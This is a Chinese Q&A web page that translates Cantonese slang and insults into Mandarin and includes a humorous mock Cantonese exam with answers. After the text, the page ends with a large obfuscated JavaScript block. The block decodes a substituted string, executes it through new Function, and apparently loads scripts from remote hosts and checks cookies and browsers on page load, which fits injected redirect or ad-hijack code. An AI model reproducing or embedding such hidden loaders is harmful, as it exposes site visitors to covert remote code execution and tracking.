推荐回答(3个)
首先,我要说的是:我是土生土长的广州人,翻译成普通话有不通顺的地方请见谅~
其次,我想问:你是听了笑谈广东话吧?其实有些只不过是口头禅而且,每个人的理解都不同,或者可以说无解。
-------------------------
你咪当我lu lu喎!、唔系咁搞笑下话?
你不要当我傻的噢!不是这么搞笑吧?
Yo~洗乜惊呀?、壁拍你个龙的洞呀!
Yo~哪用担心呀?(劈啪……口头禅)
真系苦过dee dee呀!
真是苦过苦瓜干
跟“苦过弟弟”相关的一句话还有“乜你苦瓜干面口”。苦瓜原名“苏门答腊一等瓜”,是三宝太监郑和由苏门答腊引御尺进中国的。广东因为气候炎热,火气旺盛,本地人都喜欢吃些苦的东西解暑降火。于是便把苦瓜晒干,用来煲水喝。但苦瓜晒干后带和皮皱皱的,很难看。所以广东人见到别人不开心,愁眉戚脸,就说别人是“苦瓜干”。而以前广东人叫鸭做“弟弟”(现在已经没什么人叫了),有道菜很家常,叫做“苦瓜炆鸭”,也是一道苦菜,之后也就有了“苦过弟弟”的说法了。
老虎蟹都制!、女人真系茶煲呀!
(口头禅,其实广州人说的更多是老虎乸,就是母老虎的意思!那句意思是:母老虎都要!女人真是麻烦!茶煲粤语的读音就像英语的trouble)
你都烚戆嘅!
你都不用脑的!
真系弊家nail呀!
真是糟糕啊!
你咬我食呀!
你有我办法吗???
珍珠都冇咁真!、坚过石坚呀!
珍珠都没有那么真!(石坚是香港演员,这里主要取坚这个音,意思是真的不能再真了)
你今次真系疴拔甩呀!
你这次真的是无可救药呀!
我食硬你呀!
我吃定你了!(我赢定你..)
你信唔信我郁你丫拿?
你信不信我打你啊?
我识你老鼠!
我认识你是老鼠?(言下之意就是我不认识你是谁)
你读屎片架?
你怎么读书的呀?(屎片=纸尿片,言下之意就是没文化)
真系兴过火屎!
真是比点焊的还热!(言下之意就是真是气死人!)
你唔好扮晒蟹喎!
你不要装蒜啊!
你系唔系痴总掣呀?
你是不是神经有问题啊?
你唔好叽叽凸凸下呀!、你系咪痴线架?
你不要罗罗嗦嗦啊!你是不是痴线的?
真系比你吹涨呀!
真是给你气晕啊!
我唔发火你当我病猫?
我不发火你当我是病猫子?
食懵你呀!
吃昏了头脑吧!
巴屎闭!
自以为是!
正一"嘟"弗鬼呀(正一臀部灵魂呀)
是“屎忽鬼!”就是什么多是他!人也是他,鬼也是他!也可以指是GAY!
你同我收爹呀!
你跟我闭嘴啊!
你吓鬼呀!
你吓鬼(其实是指人)呀?
你都狒狒哋嘅!
你都傻傻的!
几大就几大,沙蟹就沙蟹!
通常赌的时候说!玩多大就多大~saw hand就saw hand!
真系坚秋呀!
是“劲秋”,意思是:真是厉害呀!
真系靓爆镜呀!
真是漂亮的连镜子都要爆了!
你唔好系度呀知呀draw!.
你不要在这说三道四的!
正一猪dum兜!
真是一只猪似的!
你真系好眉好貌生沙虱!
你真是外表好看内心腐烂(恶毒)啊!
正一阿茂整饼!
真的胡来的!(广东歇后语:阿茂整饼——冇果样整果样!意思是,阿茂做饼——不是那样的他就自己不知弄个什么玩意!)
你信唔信我郁你丫拿?
你信不信我打你呀》
你唔系流马尿下话?
你不是流泪吧?
睇下你有咩把炮
看你有什么本事!
你唔系做嫁两下话
你不是做陪衬吧?
大镬
大件事!
坚定流架
真的还是假的?
有咩留番拜山先讲啦
有什么留着祭祖时再说吧!
你唔好阻住个地球转啦
你不要阻碍这个地球转动!
你充大头鬼呀
意思跟:打肿脸充胖子一样!
识!!!识你条毛
认识!认识你根毛!
你收嗲啦
你闭嘴吧!
鬼唔知你阿妈系女人
谁不知道你妈是女人!
你当我老衬呀
你当我傻的呀/
我而家就玩谢你
我现在就耍死你!
你同我冷尸吉路呀
你给我滚开!
你唔蠢拆盯好响道吔文 吔武呀吓!
你不要在这说这说那动手动脚的!
你咪口行行大只讲喎
你不就随便说说,夸大来说而已!
关你蛋治呀
关你什么事阿!
你都冇奶油嘅 !
你都没有理由的!
你阿妈大减价益你阿爸!
你妈妈放下一切照顾你吧!
真系吓到鼻哥窿都冇肉呀!
真是吓得鼻孔都没有肉阿!
今次真系乃野!
这次真的中招!
正一大泡和
真是吹牛王!
真系过制呀!
真过瘾~
畀畀畀!膝头对上系脾!
给给给!膝盖上边就是大腿!(大腿粤语是“大脾”“脾”读音跟“俾“(粤语给的意思)) 一样。
你都戆居居食煎堆 (顺口溜)
你都傻乎乎的~
得就得~唔得就食忽得
行就行~不行就算了吧!(一般说得就得,不得回顺德!(意思是可以就可以,不可以就回顺德~主要是得德顺口溜))
真系热到爆表呀!
真是热得快爆炸了!
我一定告到你甩裤!
我一定要状告到你裤子都掉!
你做啲嘢真系吔吔乌!
你做得东西真的是很随便!
你真系攞哩jean! (讲)
你真系没事找事说!
你发咩Tee滕呀!
你发什么颠阿?
真系劲到甩辘呀!
真是厉害得要掉轮子了!(速度快得连轮子都快掉了)
真系渣到无伦呀!
真是连吃剩的垃圾都没了
你dun我波钟呀!
你拖延我时间啊?
你唔好扮晒上菜呀下!
你不要扮上等人呀!
我就睇下你有咩把炮
我就看看你有什么了不起的!
你抛窒我呀?
你骗我啊?
你信唔信我拉你去打靶丫拿!
你信不信我拉你去枪毙!
你正一食湿米!
你真是败家!
呢条友正一沙沙滚
这个人真的随随便便的!
真系懒到出汁呀!
真是懒得要命!
真系烦过凡蒂冈啊
顺口溜~意思是真的很烦!
今次真系天皇都无面比啊
这次真的皇上也没面子给了!
正一监truly
你就是坐牢的人!
你无同我讲咁多耶稣啊哈
你不要跟我说那么多废话啊!
奖奖奖...奖你两巴掌!
顺口溜~给你两个巴掌!
返乡下耕田啦!(上) 返乡下耕田啦!(下)
回乡下种田吧!
化到成个马馏屎忽咁!
化妆画得像个猴子屁股似的!
你唔到扮晒死狗啊
你不要假装成死狗似的!
超咩超? 唔顺超过两招丫!
顺口溜~看什么看!看不顺眼就过过招啊!
你今晚食自己啦!
你今晚自己安排!
你都冇奶油o架!
你都没理由的!
你想食咗我只车呀!
你想毁了我最有用的东西啊?
识少少扮代表!
知道一点就装作得像代表似的!
你都算沙pop喇!
你都算挺大胆的!
真系生旧叉烧好过生你呀!
真的生一块叉烧还好过生你!
咁多人死唔见你死!
这么多人死不见你死!
独家粤翻国,虽然有不足之处,但望尊重原创劳动者!转载著名:粤语翻译国语由:King宇LY 翻译!
"咁咪"是"这样"的意思.
"咁咪算咯"意思是"这样就算了吧"
"不过咁,XXXX"意思是"不过这样,XXXX"
粤语四级考试题目和答案
1."缩骨"的意思是 (C √)
A.形容人很瘦 B.形容人很穷 C.形容人很吝啬 D.形容人很小心、谨慎
2."鸡咁脚"的意思是 (D √)
A.形容脚像鸡一样 B.形容走路像鸡一样 C.形容走路很小声 D.形容走路很匆忙
3."奇离"的意思是 (B √)
A.特别的 B.古怪的 C.有趣的 D.无聊的
4.以下哪个词是用来形容那些容易被别人拿好处的人 (C √)
A.粉肠 B.金鱼佬 C.水鱼 D.蠢佬
5.与"孤寒"同义的词是 (A √)
A.度缩 B.企理 C.爬头 D.掟弯
6."ke le fe"的意思是 (B √)
A.好色的人 B.无足轻重的人 C.有个性的人 D.喜欢的人
7."Call Lao Ye!"的意思是 (D √)
A.我的天啊! B.不是吧?! C.你去死吧! D.岂有此理!
8.歇后语"山草药"的下一句是 (C √)
A.人人啱 B.神憎鬼厌 C.噏得就噏 D.心知肚明
9.与"发long嚟"同义的词是 (B √)
A.发瘟 B.发烂咋 C.发钱寒 D.发达
10.与"懵盛盛"不同义的词是 (B √)
A.憨居 B.short short哋 C.蒙查查 D.傻更更
11.与"嘈生嗮!"不同意的是 (C √)
A.嘈喧巴闭! B.鬼咁大声! C.六国大封相! D.拆楼咩!
12.四个中,不同意思的是 (B √)
A.茅尼 B.大乡里 C.木嘴 D.碌葛
13.四个中,不同意思的是 (D √)
A.八月十五 B.箩柚 C.PET PET D.窟窟
14.与"箩底橙"同义的是 (D √)
A.隔夜粥 B.头啖汤 C.拉MAY D.卖剩蔗
15."帮衬"的意思是 (B √)
A.请帮忙 B.请光顾 C.请进 D.请回吧
16.四个中,不同意思的是 (A √)
A.收风 B.收皮 C.收嗲 D.收声
17."盏鬼"的意思是 (B X)
A.恐怖的 B.新奇的 C.有趣的 D.进口的
18.四个中,不同意思的是 (D √)
A.去佐 B.钉佐 C.瓜佐 D.跌佐
19.四个中,不同意思的是 (D √)
A.松人 B.撇人 C.散水 D.行人
20."朱义盛"的意思是 (A √)
A.假货 B.好货 C.真货 D.次货
二、听力理解题(每题4分):
1.录音:"三点八个字响门口等,黎迟咗就唔七等你嘎啦!"...问题:他们约定的时间是 (D √)
A.五点零七分 B.三点零八分 C.三点五十七分 D.三点四十分
2.录音:"哩条数都唔识计?!成碌葛咁,你个脑生响个罗佑昌漏道啊? !"...问题:这位同志的身份最可能是 (B √)
A.卖菜的 B.老师 C.医生 D.罗大佑
3.录音:"李同学呢次大镬啰,三科肥佬。"...问题:李同学遇到的情况是 (D √)
A.减肥失败 B.买了个大锅 C.遇到三个胖子 D.考试不及格
4.录音:"布薯仔真系唔好彩,佢老窦卖咸鸭蛋啦。"...问题:小布他爹咋了? (A √)
A.去见马克思了 B.走私鸭蛋 C.攻打伊拉克 D.中奖了
5.录音:"我去市场想买付粉肠,结果买咗鱼肠。跟住想去建行,点知只有工商。响工商见到姨丈,就将鱼肠俾凳迅租咗姨丈。"...问题:这位同志原本想去 (D √)
A.打劫银行 B.拜见姨丈 C.兑奖 D.买猪肠
6.录音:"寻晚同三姑六婆坐埋打咗八圈,输到一栋都冇,连老婆本都泄埋!"...问题1:这位同志昨晚在做什么?枣兆 (C √)
A.打坐 B.和女同志打架 C.搓麻 D.陪老婆
7.录音:"寻晚同三姑六婆坐埋打咗八圈,输到一栋都冇,连老婆本都泄埋!"...问题2:他输了什么? (D √)
A.一栋楼 B.一吨硬币 C.老婆 D.不确定
三、选择填空题(每题4分):
1.你只__,打你电话点解唔应啊?! (B √)
A.肠粉 B.粉肠 C.拉肠 D.腊肠
2.寻日演唱会__晒棚,连企位都冇。 (D √)
A.建 B.搭 C.拆 D.爆
3.靓姑今日着咗件新衫,红__,几抢眼喔。 (B √)
A.蒙蒙 B.当荡 C.啵啵 D.掠掠
4.BB仔个面珠趸红 ,好鬼死得意。 (C √)
A.蒙蒙 B.当荡 C.啵啵 D.掠掠
5.以下四个词中不可解释为"死"的是__ (D √)
A.香 B.钉 C.直 D.飞
6.再阿吱阿咗,信唔信我拍__咁拍你啦! (A √)
A.姜 B.葱 C.蒜 D.胡椒
7.咯个死懒鬼,日日黄朝白晏仲赖响张床处,__都唔起身。 (B √)
A.推 B.铲 C.摸 D.炒
8.朱先生眼定定咁望住隔离个位小姐,喋晒__咁款 (C √)
A.盐 B.油 C.糖 D.醋
咁咪,咁是代词,指向:这,这样;本字可能指向“焉”链陪春:口读音→garm(焉拼音yan,声母y→对转为g广音)。(焉作疑问时不念这个“garm”音,念:bin);
咪,本字“不”,发音mei,调整适当声调后,其义指向:也(就);不就(肯定义);也棚耐;也是。(不字可作肯定义,相当于:也)
咁咪得啰→焉不得矣:义→这不就行了乱凳!
这也就可以了。等等。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();